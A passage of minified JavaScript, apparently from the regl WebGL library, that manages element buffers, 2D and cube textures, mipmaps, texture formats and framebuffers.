sr(Pt)),Xt.bind(),rt(Xt,zt,35040,0,1,!1),Xt},destroyStream:function(Pt){mt.push(Pt)},clear:function(){ge(wt).forEach(vt),mt.forEach(vt)},getBuffer:function(Pt){return Pt&&Pt._buffer instanceof sr?Pt._buffer:null},restore:function(){ge(wt).forEach(function(Pt){Pt.buffer=ct.createBuffer(),ct.bindBuffer(Pt.type,Pt.buffer),ct.bufferData(Pt.type,Pt.persistentData||Pt.byteLength,Pt.usage)})},_initBuffer:rt}}function v(ct,Vt,Ut,dr){function sr(Pt){this.id=gt++,vt[this.id]=this,this.buffer=Pt,this.primType=4,this.type=this.vertCount=0}function nt(Pt,zt,Xt,Yt,$t,yr,Ue){Pt.buffer.bind();var Ne;if(zt?((Ne=Ue)||be(zt)&&(!u(zt)||be(zt.data))||(Ne=Vt.oes_element_index_uint?5125:5123),Ut._initBuffer(Pt.buffer,zt,Xt,Ne,3)):(ct.bufferData(34963,yr,Xt),Pt.buffer.dtype=Ne||5121,Pt.buffer.usage=Xt,Pt.buffer.dimension=3,Pt.buffer.byteLength=yr),Ne=Ue,!Ue){switch(Pt.buffer.dtype){case 5121:case 5120:Ne=5121;break;case 5123:case 5122:Ne=5123;break;case 5125:case 5124:Ne=5125}Pt.buffer.dtype=Ne}Pt.type=Ne,zt=$t,0>zt&&(zt=Pt.buffer.byteLength,Ne===5123?zt>>=1:Ne===5125&&(zt>>=2)),Pt.vertCount=zt,zt=Yt,0>Yt&&(zt=4,Yt=Pt.buffer.dimension,Yt===1&&(zt=0),Yt===2&&(zt=1),Yt===3&&(zt=4)),Pt.primType=zt}function rt(Pt){dr.elementsCount--,delete vt[Pt.id],Pt.buffer.destroy(),Pt.buffer=null}var vt={},gt=0,wt={uint8:5121,uint16:5123};Vt.oes_element_index_uint&&(wt.uint32=5125),sr.prototype.bind=function(){this.buffer.bind()};var mt=[];return{create:function(Pt,zt){function Xt(yr){if(yr)if(typeof yr=="number")Yt(yr),$t.primType=4,$t.vertCount=yr|0,$t.type=5121;else{var Ue=null,Ne=35044,Et=-1,Lt=-1,Nt=0,rr=0;Array.isArray(yr)||be(yr)||u(yr)?Ue=yr:("data"in yr&&(Ue=yr.data),"usage"in yr&&(Ne=Ce[yr.usage]),"primitive"in yr&&(Et=Ze[yr.primitive]),"count"in yr&&(Lt=yr.count|0),"type"in yr&&(rr=wt[yr.type]),"length"in yr?Nt=yr.length|0:(Nt=Lt,rr===5123||rr===5122?Nt*=2:(rr===5125||rr===5124)&&(Nt*=4))),nt($t,Ue,Ne,Et,Lt,Nt,rr)}else Yt(),$t.primType=4,$t.vertCount=0,$t.type=5121;return Xt}var Yt=Ut.create(null,34963,!0),$t=new sr(Yt._buffer);return dr.elementsCount++,Xt(Pt),Xt._reglType="elements",Xt._elements=$t,Xt.subdata=function(yr,Ue){return Yt.subdata(yr,Ue),Xt},Xt.destroy=function(){rt($t)},Xt},createStream:function(Pt){var zt=mt.pop();return zt||(zt=new sr(Ut.create(null,34963,!0,!1)._buffer)),nt(zt,Pt,35040,-1,-1,0,0),zt},destroyStream:function(Pt){mt.push(Pt)},getElements:function(Pt){return typeof Pt=="function"&&Pt._elements instanceof sr?Pt._elements:null},clear:function(){ge(vt).forEach(rt)}}}function T(ct){for(var Vt=ke.allocType(5123,ct.length),Ut=0;Ut<ct.length;++Ut)if(isNaN(ct[Ut]))Vt[Ut]=65535;else if(ct[Ut]===1/0)Vt[Ut]=31744;else if(ct[Ut]===-1/0)Vt[Ut]=64512;else{Ke[0]=ct[Ut];var nt=st[0],dr=nt>>>31<<15,sr=(nt<<1>>>24)-127,nt=nt>>13&1023;Vt[Ut]=-24>sr?dr:-14>sr?dr+(nt+1024>>-14-sr):15<sr?dr+31744:dr+(sr+15<<10)+nt}return Vt}function w(ct){return Array.isArray(ct)||be(ct)}function E(ct){return"[object "+ct+"]"}function p(ct){return Array.isArray(ct)&&(ct.length===0||typeof ct[0]=="number")}function A(ct){return!!(Array.isArray(ct)&&ct.length!==0&&w(ct[0]))}function m(ct){return Object.prototype.toString.call(ct)}function n(ct){if(!ct)return!1;var Vt=m(ct);return 0<=Ee.indexOf(Vt)?!0:p(ct)||A(ct)||u(ct)}function C(ct,Vt){ct.type===36193?(ct.data=T(Vt),ke.freeType(Vt)):ct.data=Vt}function x(ct,Vt,Ut,dr,sr,nt){if(ct=typeof ae[ct]<"u"?ae[ct]:yt[ct]*ye[Vt],nt&&(ct*=6),sr){for(dr=0;1<=Ut;)dr+=ct*Ut*Ut,Ut/=2;return dr}return ct*Ut*dr}function I(ct,Vt,Ut,dr,sr,nt,rt){function vt(){this.format=this.internalformat=6408,this.type=5121,this.flipY=this.premultiplyAlpha=this.compressed=!1,this.unpackAlignment=1,this.colorSpace=37444,this.channels=this.height=this.width=0}function gt(mr,qr){mr.internalformat=qr.internalformat,mr.format=qr.format,mr.type=qr.type,mr.compressed=qr.compressed,mr.premultiplyAlpha=qr.premultiplyAlpha,mr.flipY=qr.flipY,mr.unpackAlignment=qr.unpackAlignment,mr.colorSpace=qr.colorSpace,mr.width=qr.width,mr.height=qr.height,mr.channels=qr.channels}function wt(mr,qr){if(typeof qr=="object"&&qr){"premultiplyAlpha"in qr&&(mr.premultiplyAlpha=qr.premultiplyAlpha),"flipY"in qr&&(mr.flipY=qr.flipY),"alignment"in qr&&(mr.unpackAlignment=qr.alignment),"colorSpace"in qr&&(mr.colorSpace=vn[qr.colorSpace]),"type"in qr&&(mr.type=Ur[qr.type]);var Qr=mr.width,un=mr.height,kn=mr.channels,bn=!1;"shape"in qr?(Qr=qr.shape[0],un=qr.shape[1],qr.shape.length===3&&(kn=qr.shape[2],bn=!0)):("radius"in qr&&(Qr=un=qr.radius),"width"in qr&&(Qr=qr.width),"height"in qr&&(un=qr.height),"channels"in qr&&(kn=qr.channels,bn=!0)),mr.width=Qr|0,mr.height=un|0,mr.channels=kn|0,Qr=!1,"format"in qr&&(Qr=qr.format,un=mr.internalformat=Mn[Qr],mr.format=gn[un],Qr in Ur&&!("type"in qr)&&(mr.type=Ur[Qr]),Qr in Sn&&(mr.compressed=!0),Qr=!0),!bn&&Qr?mr.channels=yt[mr.format]:bn&&!Qr&&mr.channels!==ut[mr.format]&&(mr.format=mr.internalformat=ut[mr.channels])}}function mt(mr){ct.pixelStorei(37440,mr.flipY),ct.pixelStorei(37441,mr.premultiplyAlpha),ct.pixelStorei(37443,mr.colorSpace),ct.pixelStorei(3317,mr.unpackAlignment)}function Pt(){vt.call(this),this.yOffset=this.xOffset=0,this.data=null,this.needsFree=!1,this.element=null,this.needsCopy=!1}function zt(mr,qr){var Qr=null;if(n(qr)?Qr=qr:qr&&(wt(mr,qr),"x"in qr&&(mr.xOffset=qr.x|0),"y"in qr&&(mr.yOffset=qr.y|0),n(qr.data)&&(Qr=qr.data)),qr.copy){var un=sr.viewportWidth,kn=sr.viewportHeight;mr.width=mr.width||un-mr.xOffset,mr.height=mr.height||kn-mr.yOffset,mr.needsCopy=!0}else if(!Qr)mr.width=mr.width||1,mr.height=mr.height||1,mr.channels=mr.channels||4;else if(be(Qr))mr.channels=mr.channels||4,mr.data=Qr,"type"in qr||mr.type!==5121||(mr.type=Fe[Object.prototype.toString.call(Qr)]|0);else if(p(Qr)){switch(mr.channels=mr.channels||4,un=Qr,kn=un.length,mr.type){case 5121:case 5123:case 5125:case 5126:kn=ke.allocType(mr.type,kn),kn.set(un),mr.data=kn;break;case 36193:mr.data=T(un)}mr.alignment=1,mr.needsFree=!0}else if(u(Qr)){un=Qr.data,Array.isArray(un)||mr.type!==5121||(mr.type=Fe[Object.prototype.toString.call(un)]|0);var kn=Qr.shape,bn=Qr.stride,wn,zn,Jn,ba;kn.length===3?(Jn=kn[2],ba=bn[2]):ba=Jn=1,wn=kn[0],zn=kn[1],kn=bn[0],bn=bn[1],mr.alignment=1,mr.width=wn,mr.height=zn,mr.channels=Jn,mr.format=mr.internalformat=ut[Jn],mr.needsFree=!0,wn=ba,Qr=Qr.offset,Jn=mr.width,ba=mr.height,zn=mr.channels;for(var Fa=ke.allocType(mr.type===36193?5126:mr.type,Jn*ba*zn),Ht=0,pr=0;pr<ba;++pr)for(var $r=0;$r<Jn;++$r)for(var on=0;on<zn;++on)Fa[Ht++]=un[kn*$r+bn*pr+wn*on+Qr];C(mr,Fa)}else if(m(Qr)===bt||m(Qr)===Ot||m(Qr)===Ge)m(Qr)===bt||m(Qr)===Ot?mr.element=Qr:mr.element=Qr.canvas,mr.width=mr.element.width,mr.height=mr.element.height,mr.channels=4;else if(m(Qr)===Le)mr.element=Qr,mr.width=Qr.width,mr.height=Qr.height,mr.channels=4;else if(m(Qr)===Pe)mr.element=Qr,mr.width=Qr.naturalWidth,mr.height=Qr.naturalHeight,mr.channels=4;else if(m(Qr)===De)mr.element=Qr,mr.width=Qr.videoWidth,mr.height=Qr.videoHeight,mr.channels=4;else if(A(Qr)){for(un=mr.width||Qr[0].length,kn=mr.height||Qr.length,bn=mr.channels,bn=w(Qr[0][0])?bn||Qr[0][0].length:bn||1,wn=Te.shape(Qr),Jn=1,ba=0;ba<wn.length;++ba)Jn*=wn[ba];Jn=ke.allocType(mr.type===36193?5126:mr.type,Jn),Te.flatten(Qr,wn,"",Jn),C(mr,Jn),mr.alignment=1,mr.width=un,mr.height=kn,mr.channels=bn,mr.format=mr.internalformat=ut[bn],mr.needsFree=!0}}function Xt(mr,qr,Qr,un,kn){var bn=mr.element,wn=mr.data,zn=mr.internalformat,Jn=mr.format,ba=mr.type,Fa=mr.width,Ht=mr.height;mt(mr),bn?ct.texSubImage2D(qr,kn,Qr,un,Jn,ba,bn):mr.compressed?ct.compressedTexSubImage2D(qr,kn,Qr,un,zn,Fa,Ht,wn):mr.needsCopy?(dr(),ct.copyTexSubImage2D(qr,kn,Qr,un,mr.xOffset,mr.yOffset,Fa,Ht)):ct.texSubImage2D(qr,kn,Qr,un,Fa,Ht,Jn,ba,wn)}function Yt(){return En.pop()||new Pt}function $t(mr){mr.needsFree&&ke.freeType(mr.data),Pt.call(mr),En.push(mr)}function yr(){vt.call(this),this.genMipmaps=!1,this.mipmapHint=4352,this.mipmask=0,this.images=Array(16)}function Ue(mr,qr,Qr){var un=mr.images[0]=Yt();mr.mipmask=1,un.width=mr.width=qr,un.height=mr.height=Qr,un.channels=mr.channels=4}function Ne(mr,qr){var Qr=null;if(n(qr))Qr=mr.images[0]=Yt(),gt(Qr,mr),zt(Qr,qr),mr.mipmask=1;else if(wt(mr,qr),Array.isArray(qr.mipmap))for(var un=qr.mipmap,kn=0;kn<un.length;++kn)Qr=mr.images[kn]=Yt(),gt(Qr,mr),Qr.width>>=kn,Qr.height>>=kn,zt(Qr,un[kn]),mr.mipmask|=1<<kn;else Qr=mr.images[0]=Yt(),gt(Qr,mr),zt(Qr,qr),mr.mipmask=1;gt(mr,mr.images[0])}function Et(mr,qr){for(var Qr=mr.images,un=0;un<Qr.length&&Qr[un];++un){var kn=Qr[un],bn=qr,wn=un,zn=kn.element,Jn=kn.data,ba=kn.internalformat,Fa=kn.format,Ht=kn.type,pr=kn.width,$r=kn.height;mt(kn),zn?ct.texImage2D(bn,wn,Fa,Fa,Ht,zn):kn.compressed?ct.compressedTexImage2D(bn,wn,ba,pr,$r,0,Jn):kn.needsCopy?(dr(),ct.copyTexImage2D(bn,wn,Fa,kn.xOffset,kn.yOffset,pr,$r,0)):ct.texImage2D(bn,wn,Fa,pr,$r,0,Fa,Ht,Jn||null)}}function Lt(){var mr=Hn.pop()||new yr;vt.call(mr);for(var qr=mr.mipmask=0;16>qr;++qr)mr.images[qr]=null;return mr}function Nt(mr){for(var qr=mr.images,Qr=0;Qr<qr.length;++Qr)qr[Qr]&&$t(qr[Qr]),qr[Qr]=null;Hn.push(mr)}function rr(){this.magFilter=this.minFilter=9728,this.wrapT=this.wrapS=33071,this.anisotropic=1,this.genMipmaps=!1,this.mipmapHint=4352}function tr(mr,qr){"min"in qr&&(mr.minFilter=Cr[qr.min],0<=lt.indexOf(mr.minFilter)&&!("faces"in qr)&&(mr.genMipmaps=!0)),"mag"in qr&&(mr.magFilter=Rr[qr.mag]);var Qr=mr.wrapS,un=mr.wrapT;if("wrap"in qr){var kn=qr.wrap;typeof kn=="string"?Qr=un=Nr[kn]:Array.isArray(kn)&&(Qr=Nr[kn[0]],un=Nr[kn[1]])}else"wrapS"in qr&&(Qr=Nr[qr.wrapS]),"wrapT"in qr&&(un=Nr[qr.wrapT]);if(mr.wrapS=Qr,mr.wrapT=un,"anisotropic"in qr&&(mr.anisotropic=qr.anisotropic),"mipmap"in qr){switch(Qr=!1,typeof qr.mipmap){case"string":mr.mipmapHint=lr[qr.mipmap],Qr=mr.genMipmaps=!0;break;case"boolean":Qr=mr.genMipmaps=qr.mipmap;break;case"object":mr.genMipmaps=!1,Qr=!0}!Qr||"min"in qr||(mr.minFilter=9984)}}function Jt(mr,qr){ct.texParameteri(qr,10241,mr.minFilter),ct.texParameteri(qr,10240,mr.magFilter),ct.texParameteri(qr,10242,mr.wrapS),ct.texParameteri(qr,10243,mr.wrapT),Vt.ext_texture_filter_anisotropic&&ct.texParameteri(qr,34046,mr.anisotropic),mr.genMipmaps&&(ct.hint(33170,mr.mipmapHint),ct.generateMipmap(qr))}function It(mr){vt.call(this),this.mipmask=0,this.internalformat=6408,this.id=Xn++,this.refCount=1,this.target=mr,this.texture=ct.createTexture(),this.unit=-1,this.bindCount=0,this.texInfo=new rr,rt.profile&&(this.stats={size:0})}function or(mr){ct.activeTexture(33984),ct.bindTexture(mr.target,mr.texture)}function ur(){var mr=ea[0];mr?ct.bindTexture(mr.target,mr.texture):ct.bindTexture(3553,null)}function fr(mr){var qr=mr.texture,Qr=mr.unit,un=mr.target;0<=Qr&&(ct.activeTexture(33984+Qr),ct.bindTexture(un,null),ea[Qr]=null),ct.deleteTexture(qr),mr.texture=null,mr.params=null,mr.pixels=null,mr.refCount=0,delete qn[mr.id],nt.textureCount--}var lr={"don't care":4352,"dont care":4352,nice:4354,fast:4353},Nr={repeat:10497,clamp:33071,mirror:33648},Rr={nearest:9728,linear:9729},Cr=re({mipmap:9987,"nearest mipmap nearest":9984,"linear mipmap nearest":9985,"nearest mipmap linear":9986,"linear mipmap linear":9987},Rr),vn={none:0,browser:37444},Ur={uint8:5121,rgba4:32819,rgb565:33635,"rgb5 a1":32820},Mn={alpha:6406,luminance:6409,"luminance alpha":6410,rgb:6407,rgba:6408,rgba4:32854,"rgb5 a1":32855,rgb565:36194},Sn={};Vt.ext_srgb&&(Mn.srgb=35904,Mn.srgba=35906),Vt.oes_texture_float&&(Ur.float32=Ur.float=5126),Vt.oes_texture_half_float&&(Ur.float16=Ur["half float"]=36193),Vt.webgl_depth_texture&&(re(Mn,{depth:6402,"depth stencil":34041}),re(Ur,{uint16:5123,uint32:5125,"depth stencil":34042})),Vt.webgl_compressed_texture_s3tc&&re(Sn,{"rgb s3tc dxt1":33776,"rgba s3tc dxt1":33777,"rgba s3tc dxt3":33778,"rgba s3tc dxt5":33779}),Vt.webgl_compressed_texture_atc&&re(Sn,{"rgb atc":35986,"rgba atc explicit alpha":35987,"rgba atc interpolated alpha":34798}),Vt.webgl_compressed_texture_pvrtc&&re(Sn,{"rgb pvrtc 4bppv1":35840,"rgb pvrtc 2bppv1":35841,"rgba pvrtc 4bppv1":35842,"rgba pvrtc 2bppv1":35843}),Vt.webgl_compressed_texture_etc1&&(Sn["rgb etc1"]=36196);var nr=Array.prototype.slice.call(ct.getParameter(34467));Object.keys(Sn).forEach(function(mr){var qr=Sn[mr];0<=nr.indexOf(qr)&&(Mn[mr]=qr)});var Sr=Object.keys(Mn);Ut.textureFormats=Sr;var Dr=[];Object.keys(Mn).forEach(function(mr){Dr[Mn[mr]]=mr});var Ir=[];Object.keys(Ur).forEach(function(mr){Ir[Ur[mr]]=mr});var Xr=[];Object.keys(Rr).forEach(function(mr){Xr[Rr[mr]]=mr});var an=[];Object.keys(Cr).forEach(function(mr){an[Cr[mr]]=mr});var tn=[];Object.keys(Nr).forEach(function(mr){tn[Nr[mr]]=mr});var gn=Sr.reduce(function(mr,qr){var Qr=Mn[qr];return Qr===6409||Qr===6406||Qr===6409||Qr===6410||Qr===6402||Qr===34041||Vt.ext_srgb&&(Qr===35904||Qr===35906)?mr[Qr]=Qr:Qr===32855||0<=qr.indexOf("rgba")?mr[Qr]=6408:mr[Qr]=6407,mr},{}),En=[],Hn=[],Xn=0,qn={},Wn=Ut.maxTextureUnits,ea=Array(Wn).map(function(){return null});return re(It.prototype,{bind:function(){this.bindCount+=1;var mr=this.unit;if(0>mr){for(var qr=0;qr<Wn;++qr){var Qr=ea[qr];if(Qr){if(0<Qr.bindCount)continue;Qr.unit=-1}ea[qr]=this,mr=qr;break}rt.profile&&nt.maxTextureUnits<mr+1&&(nt.maxTextureUnits=mr+1),this.unit=mr,ct.activeTexture(33984+mr),ct.bindTexture(this.target,this.texture)}return mr},unbind:function(){--this.bindCount},decRef:function(){0>=--this.refCount&&fr(this)}}),rt.profile&&(nt.getTotalTextureSize=function(){var mr=0;return Object.keys(qn).forEach(function(qr){mr+=qn[qr].stats.size}),mr}),{create2D:function(mr,qr){function Qr(kn,bn){var wn=un.texInfo;rr.call(wn);var zn=Lt();return typeof kn=="number"?typeof bn=="number"?Ue(zn,kn|0,bn|0):Ue(zn,kn|0,kn|0):kn?(tr(wn,kn),Ne(zn,kn)):Ue(zn,1,1),wn.genMipmaps&&(zn.mipmask=(zn.width<<1)-1),un.mipmask=zn.mipmask,gt(un,zn),un.internalformat=zn.internalformat,Qr.width=zn.width,Qr.height=zn.height,or(un),Et(zn,3553),Jt(wn,3553),ur(),Nt(zn),rt.profile&&(un.stats.size=x(un.internalformat,un.type,zn.width,zn.height,wn.genMipmaps,!1)),Qr.format=Dr[un.internalformat],Qr.type=Ir[un.type],Qr.mag=Xr[wn.magFilter],Qr.min=an[wn.minFilter],Qr.wrapS=tn[wn.wrapS],Qr.wrapT=tn[wn.wrapT],Qr}var un=new It(3553);return qn[un.id]=un,nt.textureCount++,Qr(mr,qr),Qr.subimage=function(kn,bn,wn,zn){bn|=0,wn|=0,zn|=0;var Jn=Yt();return gt(Jn,un),Jn.width=0,Jn.height=0,zt(Jn,kn),Jn.width=Jn.width||(un.width>>zn)-bn,Jn.height=Jn.height||(un.height>>zn)-wn,or(un),Xt(Jn,3553,bn,wn,zn),ur(),$t(Jn),Qr},Qr.resize=function(kn,bn){var wn=kn|0,zn=bn|0||wn;if(wn===un.width&&zn===un.height)return Qr;Qr.width=un.width=wn,Qr.height=un.height=zn,or(un);for(var Jn=0;un.mipmask>>Jn;++Jn){var ba=wn>>Jn,Fa=zn>>Jn;if(!ba||!Fa)break;ct.texImage2D(3553,Jn,un.format,ba,Fa,0,un.format,un.type,null)}return ur(),rt.profile&&(un.stats.size=x(un.internalformat,un.type,wn,zn,!1,!1)),Qr},Qr._reglType="texture2d",Qr._texture=un,rt.profile&&(Qr.stats=un.stats),Qr.destroy=function(){un.decRef()},Qr},createCube:function(mr,qr,Qr,un,kn,bn){function wn(ba,Fa,Ht,pr,$r,on){var sn,Tn=zn.texInfo;for(rr.call(Tn),sn=0;6>sn;++sn)Jn[sn]=Lt();if(typeof ba=="number"||!ba)for(ba=ba|0||1,sn=0;6>sn;++sn)Ue(Jn[sn],ba,ba);else if(typeof ba=="object")if(Fa)Ne(Jn[0],ba),Ne(Jn[1],Fa),Ne(Jn[2],Ht),Ne(Jn[3],pr),Ne(Jn[4],$r),Ne(Jn[5],on);else if(tr(Tn,ba),wt(zn,ba),"faces"in ba)for(ba=ba.faces,sn=0;6>sn;++sn)gt(Jn[sn],zn),Ne(Jn[sn],ba[sn]);else for(sn=0;6>sn;++sn)Ne(Jn[sn],ba);for(gt(zn,Jn[0]),zn.mipmask=Tn.genMipmaps?(Jn[0].width<<1)-1:Jn[0].mipmask,zn.internalformat=Jn[0].internalformat,wn.width=Jn[0].width,wn.height=Jn[0].height,or(zn),sn=0;6>sn;++sn)Et(Jn[sn],34069+sn);for(Jt(Tn,34067),ur(),rt.profile&&(zn.stats.size=x(zn.internalformat,zn.type,wn.width,wn.height,Tn.genMipmaps,!0)),wn.format=Dr[zn.internalformat],wn.type=Ir[zn.type],wn.mag=Xr[Tn.magFilter],wn.min=an[Tn.minFilter],wn.wrapS=tn[Tn.wrapS],wn.wrapT=tn[Tn.wrapT],sn=0;6>sn;++sn)Nt(Jn[sn]);return wn}var zn=new It(34067);qn[zn.id]=zn,nt.cubeCount++;var Jn=Array(6);return wn(mr,qr,Qr,un,kn,bn),wn.subimage=function(ba,Fa,Ht,pr,$r){Ht|=0,pr|=0,$r|=0;var on=Yt();return gt(on,zn),on.width=0,on.height=0,zt(on,Fa),on.width=on.width||(zn.width>>$r)-Ht,on.height=on.height||(zn.height>>$r)-pr,or(zn),Xt(on,34069+ba,Ht,pr,$r),ur(),$t(on),wn},wn.resize=function(ba){if(ba|=0,ba!==zn.width){wn.width=zn.width=ba,wn.height=zn.height=ba,or(zn);for(var Fa=0;6>Fa;++Fa)for(var Ht=0;zn.mipmask>>Ht;++Ht)ct.texImage2D(34069+Fa,Ht,zn.format,ba>>Ht,ba>>Ht,0,zn.format,zn.type,null);return ur(),rt.profile&&(zn.stats.size=x(zn.internalformat,zn.type,wn.width,wn.height,!1,!0)),wn}},wn._reglType="textureCube",wn._texture=zn,rt.profile&&(wn.stats=zn.stats),wn.destroy=function(){zn.decRef()},wn},clear:function(){for(var mr=0;mr<Wn;++mr)ct.activeTexture(33984+mr),ct.bindTexture(3553,null),ea[mr]=null;ge(qn).forEach(fr),nt.cubeCount=0,nt.textureCount=0},getTexture:function(mr){return null},restore:function(){for(var mr=0;mr<Wn;++mr){var qr=ea[mr];qr&&(qr.bindCount=0,qr.unit=-1,ea[mr]=null)}ge(qn).forEach(function(Qr){Qr.texture=ct.createTexture(),ct.bindTexture(Qr.target,Qr.texture);for(var un=0;32>un;++un)if(Qr.mipmask&1<<un)if(Qr.target===3553)ct.texImage2D(3553,un,Qr.internalformat,Qr.width>>un,Qr.height>>un,0,Qr.internalformat,Qr.type,null);else for(var kn=0;6>kn;++kn)ct.texImage2D(34069+kn,un,Qr.internalformat,Qr.width>>un,Qr.height>>un,0,Qr.internalformat,Qr.type,null);Jt(Qr.texInfo,Qr.target)})},refresh:function(){for(var mr=0;mr<Wn;++mr){var qr=ea[mr];qr&&(qr.bindCount=0,qr.unit=-1,ea[mr]=null),ct.activeTexture(33984+mr),ct.bindTexture(3553,null),ct.bindTexture(34067,null)}}}}function k(ct,Vt,Ut,dr,sr,nt){function rt(It,or,ur){this.target=It,this.texture=or,this.renderbuffer=ur;var fr=It=0;or?(It=or.width,fr=or.height):ur&&(It=ur.width,fr=ur.height),this.width=It,this.height=fr}function vt(It){It&&(It.texture&&It.texture._texture.decRef(),It.renderbuffer&&It.renderbuffer._renderbuffer.decRef())}function gt(It,or,ur){It&&(It.texture?It.texture._texture.refCount+=1:It.renderbuffer._renderbuffer.refCount+=1)}function wt(It,or){or&&(or.texture?ct.framebufferTexture2D(36160,It,or.target,or.texture._texture.texture,0):ct.framebufferRenderbuffer(36160,It,36161,or.renderbuffer._renderbuffer.renderbuffer))}function mt(It){var or=3553,ur=null,fr=null,lr=It;return typeof It=="object"&&(lr=It.data,"target"in It&&(or=It.target|0)),It=lr._reglType,It==="texture2d"||It==="textureCube"?ur=lr:It==="renderbuffer"&&(fr=lr,or=36161),new rt(or,ur,fr)}function Pt(It,or,ur,fr,lr){return ur?(It=dr.create2D({width:It,height:or,format:fr,type:lr}),It._texture.refCount=0,new rt(3553,It,null)):(It=sr.create({width:It,height:or,format:fr}),It._renderbuffer.refCount=0,new rt(36161,null,It))}function zt(It){return It&&(It.texture||It.renderbuffer)}function Xt(It,or,ur){It&&(It.texture?It.texture.resize(or,ur):It.renderbuffer&&It.renderbuffer.resize(or,ur),It.width=or,It.height=ur)}function Yt(){this.id=tr++,Jt[this.id]=this,this.framebuffer=ct.createFramebuffer(),this.height=this.width=0,this.colorAttachments=[],this.depthStencilAttachment=this.stencilAttachment=this.depthAttachment=null}function $t(It){It.colorAttachments.forEach(vt),vt(It.depthAttachment),vt(It.stencilAttachment),vt(It.depthStencilAttachment)}function yr(It){ct.deleteFramebuffer(It.framebuffer),It.framebuffer=null,nt.framebufferCount--,delete Jt[It.id]}function Ue(It){var or;ct.bindFramebuffer(36160,It.framebuffer);var ur=It.colorAttachments;for(or=0;or<ur.length;++or)wt(36064+or,ur[or]);for(or=ur.length;or<Ut.maxColorAttachments;++or)ct.framebufferTexture2D(36160,36064+or,3553,null,0);ct.framebufferTexture2D(36160,33306,3553,null,0),ct.framebufferTexture2D(36160,36096,3553,null,0),ct.framebufferTexture2D(36160,36128,3553,null,0),wt(36096,It.depthAttachment),wt(36128,It.stencilAttachment),wt(33306,It.depthStencilAttachment),ct.checkFramebufferStatus(36160),ct.isContextLost(),ct.bindFramebuffer(36160,Et.next?Et.next.framebuffer:null),Et.cur=Et.next,ct.getError()}function Ne(It,or){function ur(lr,Nr){var Rr,Cr=0,vn=0,Ur=!0,Mn=!0;Rr=null;var Sn=!0,nr="rgba",Sr="uint8",Dr=1,Ir=null,Xr=null,an=null,tn=!1;typeof lr=="number"?(Cr=lr|0,vn=Nr|0||Cr):lr?("shape"in lr?(vn=lr.shape,Cr=vn[0],vn=vn[1]):("radius"in lr&&(Cr=vn=lr.radius),"width"in lr&&(Cr=lr.width),"height"in lr&&(vn=lr.height)),("color"in lr||"colors"in lr)&&(Rr=lr.color||lr.colors),Rr||("colorCount"in lr&&(Dr=lr.colorCount|0),"colorTexture"in lr&&(Sn=!!lr.colorTexture,nr="rgba4"),"colorType"in lr&&(Sr=lr.colorType,!Sn)&&(Sr==="half float"||Sr==="float16"?nr="rgba16f":(Sr==="float"||Sr==="float32")&&(nr="rgba32f")),"colorFormat"in lr&&(nr=lr.colorFormat,0<=Lt.indexOf(nr)?Sn=!0:0<=Nt.indexOf(nr)&&(Sn=!1))),("depthTexture"in lr||"depthStencilTexture"in lr)&&(tn=!(!lr.depthTexture&&!lr.depthStencilTexture)),"depth"in lr&&(typeof lr.depth=="boolean"?Ur=lr.depth:(Ir=lr.depth,Mn=!1)),"stencil"in lr&&(typeof lr.stencil=="boolean"?Mn=lr.stencil:(Xr=lr.stencil,Ur=!1)),"depthStencil"in lr&&(typeof lr.depthStencil=="boolean"?Ur=Mn=lr.depthStencil:(an=lr.depthStencil,Mn=Ur=!1))):Cr=vn=1;var gn=null,En=null,Hn=null,Xn=null;if(Array.isArray(Rr))gn=Rr.map(mt);else if(Rr)gn=[mt(Rr)];else for(gn=Array(Dr),Rr=0;Rr<Dr;++Rr)gn[Rr]=Pt(Cr,vn,Sn,nr,Sr);for(Cr=Cr||gn[0].width,vn=vn||gn[0].height,Ir?En=mt(Ir):Ur&&!Mn&&(En=Pt(Cr,vn,tn,"depth","uint32")),Xr?Hn=mt(Xr):Mn&&!Ur&&(Hn=Pt(Cr,vn,!1,"stencil","uint8")),an?Xn=mt(an):!Ir&&!Xr&&Mn&&Ur&&(Xn=Pt(Cr,vn,tn,"depth stencil","depth stencil")),Ur=null,Rr=0;Rr<gn.length;++Rr)gt(gn[Rr]),gn[Rr]&&gn[Rr].texture&&(Mn=Ie[gn[Rr].texture._texture.format]*Qe[gn[Rr].texture._texture.type],Ur===null&&(Ur=Mn));return gt(En),gt(Hn),gt(Xn),$t(fr),fr.width=Cr,fr.height=vn,fr.colorAttachments=gn,fr.depthAttachment=En,fr.stencilAttachment=Hn,fr.depthStencilAttachment=Xn,ur.color=gn.map(zt),ur.depth=zt(En),ur.stencil=zt(Hn),ur.depthStencil=zt(Xn),ur.width=fr.width,ur.height=fr.height,Ue(fr),ur}var fr=new Yt;return nt.framebufferCount++,ur(It,or),re(ur,{resize:function(lr,Nr){var Rr=Math.max(lr|0,1),Cr=Math.max(Nr|0||Rr,1);if(Rr===fr.width&&Cr===fr.height)return ur;for(var vn=fr.colorAttachments,Ur=0;Ur<vn.length;++Ur)Xt(vn[Ur],Rr,Cr);return Xt(fr.depthAttachment,Rr,Cr),Xt(fr.stencilAttachment,Rr,Cr),Xt(fr.depthStencilAttachment,Rr,Cr),fr.width=ur.width=Rr,fr.height=ur.height=Cr,Ue(fr),ur},_reglType:"framebuffer",_framebuffer:fr,destroy:function(){yr(fr),$t(fr)},use:function(lr){Et.setFBO({framebuffer:ur},lr)}})}var Et={cur:null,next:null,dirty:!1,setFBO:null},Lt=["rgba"],Nt=["rgba4","rgb565","rgb5 a1"];Vt.ext_srgb&&Nt.push("srgba"),Vt.ext_color_buffer_half_float&&Nt.push("rgba16f","rgb16f"),Vt.webgl_color_buffer_float&&Nt.push("rgba32f");var rr=["uint8"];Vt.oes_texture_half_float&&rr.push("half float","float16"),Vt.oes_texture_float&&rr.push("float","float32");var tr=0,Jt={};return re(Et,{getFramebuffer:function(It){return typeof It=="function"&&It._reglType==="framebuffer"&&(It=It._framebuffer,It instanceof Yt)?It:null},create:Ne,createCube:function(It){function or(fr){var lr,Nr={color:null},Rr=0,Cr=null;lr="rgba";var vn="uint8",Ur=1;if(typeof fr=="number"?Rr=fr|0:fr?("shape"in fr?Rr=fr.shape[0]:("radius"in fr&&(Rr=fr.radius|0),"width"in fr?Rr=fr.width|0:"height"in fr&&(Rr=fr.height|0)),("color"in fr||"colors"in fr)&&(Cr=fr.color||fr.colors),Cr||("colorCount"in fr&&(Ur=fr.colorCount|0),"colorType"in fr&&(vn=fr.colorType),"colorFormat"in fr&&(lr=fr.colorFormat)),"depth"in fr&&(Nr.depth=fr.depth),"stencil"in fr&&(Nr.stencil=fr.stencil),"depthStencil"in 